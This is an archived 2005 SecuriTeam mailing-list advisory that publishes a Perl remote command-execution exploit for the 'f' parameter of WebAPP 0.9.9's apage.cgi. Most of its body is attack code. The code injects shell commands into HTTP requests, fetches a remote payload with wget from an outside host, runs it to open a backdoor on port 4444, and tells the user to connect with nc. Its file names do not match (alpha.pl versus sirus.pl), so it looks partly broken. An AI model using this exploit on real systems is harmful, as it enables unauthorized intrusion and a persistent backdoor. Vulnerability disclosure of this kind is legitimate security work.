[UNIX] WebApp Arbitrary Code Execution (apage.cgi, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/22/05

  • Next message: SecuriTeam: "[NEWS] D-Link DSL Routers Authentication Bypass Vulnerabilities"
    To: list@securiteam.com
    Date: 22 May 2005 15:52:24 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      WebApp Arbitrary Code Execution (apage.cgi, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.web-app.org/> WebAPP is a dynamic web site system with
    community features including forums, articles, links, downloads, top 10,
    and Palm pilot for handhelds"

    The following exploit will cause the WebAPP to open a backdoor listening
    on 4444 port by a vulnerability in the program's 'f' parameter found in
    the apage.cgi.

    DETAILS

    Vulnerable Systems:
     * WebApp version 0.9.9

    Exploit:
    #!/usr/bin/perl
    #################################
    # T r a p - S e t U n d e r G r o u n D H a c
    k i n g T e a m #
    #################################
    # Remote C0mmand Executing Expl0it - For WebAPP CGI
    #
    #Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v );
    #E-Mail : Alpha_Programmer@Yahoo.com
    # Trapset_Sec@Yahoo.Ca
    #This xpl Open a Backdoor in 4444 Port with Nobody Access !!! All Of The
    *NIX OS that Have UnPatch
    #apage.cgi is Vulnerable in this M0ment !!
    #
    #################################
    # Gr33tz To => AlphaST.Com , Crouz.Com , Simorgh-ev.Com And MH_P0rtal
    , Oil_Krachack #
    #################################
    use IO::Socket;

    if (@ARGV < 2)
    {
      print "\n=======================\n";
      print " \n WebAPP CGI Exploit By Alpha_Programmer \n\n";
      print " Trap-Set Underground Hacking Team \n\n";
      print " Usage: <T4rg3t> <Dir> \n\n";
      print "=======================\n\n";
      print "Examples:\n\n";
      print " WebApp.pl www.Host.com /cgi-bin/ \n";
      exit();
    }

    $serv = $ARGV[0];
    $serv =~ s/http:\/\///ge;

    $dir = $ARGV[1];

    $cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";

    $cmde =~ s/ /"\$IFS"/ge;

    $req = "GET http://$serv";
    $req .= "$dir";
    $req .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_".
    "\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv",
    PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

    print $sock $req;
    print "\nPlease Wait ...\n\n";
    sleep(3000);
    close($sock);

    $sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv",
    PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

    $cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 sirus.pl;perl sirus.pl";

    $cmde2 =~ s/ /"\$IFS"/ge;

    $req2 = "GET http://$serv";
    $req2 .= "$dir";
    $req2 .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_" .
    "\";$cmde2;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

    print $sock2 $req2;
    print "\n\n$$$ OK -- Now Try: Nc -v www.host.com 4444 $$$\n";
    print "$$ if This Port was Close , This mean is That , You Hav'nt
    Permission to Write in /TMP $$\n";

    ## EOF ##

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:alpha_programmer@yahoo.com>
    Alpha Programmer.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] D-Link DSL Routers Authentication Bypass Vulnerabilities"

    Relevant Pages

    • [NEWS] SonicWALL Content-Filtering Universal Script Injection Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SonicWALL Content-Filtering Universal Script Injection Vulnerability ... SonicWALL Pro 2040 version 4.0.1 ...
      (Securiteam)
    • [UNIX] Ethereal srvloc Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Remote exploitation of a buffer overflow vulnerability in the Service ... dissector, the source or destination port must be set to TCP port 427, and ... the destination port must not be a port with any registered dissector. ...
      (Securiteam)
    • [UNIX] BlackBoard Path Disclosure and File Inclusion Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two vulnerabilities have been discovered in BlackBoard, a path disclosure ... vulnerability and a file inclusion vulnerability. ...
      (Securiteam)
    • [NT] OpenView Client Configuration Manager Device Code Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... This vulnerability allows remote attackers to execute arbitrary code on ... Authentication is not required to exploit this vulnerability. ... Where 'port' specifies a connect back port on the connecting client. ...
      (Securiteam)
    • [NT] Netegrity SiteMinder smpwservicescgi.exe Target Redirection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Due to improper filtering of user provided data, a remote attacker can ... This allows an attacker to redirect the user to whatever site ...
      (Securiteam)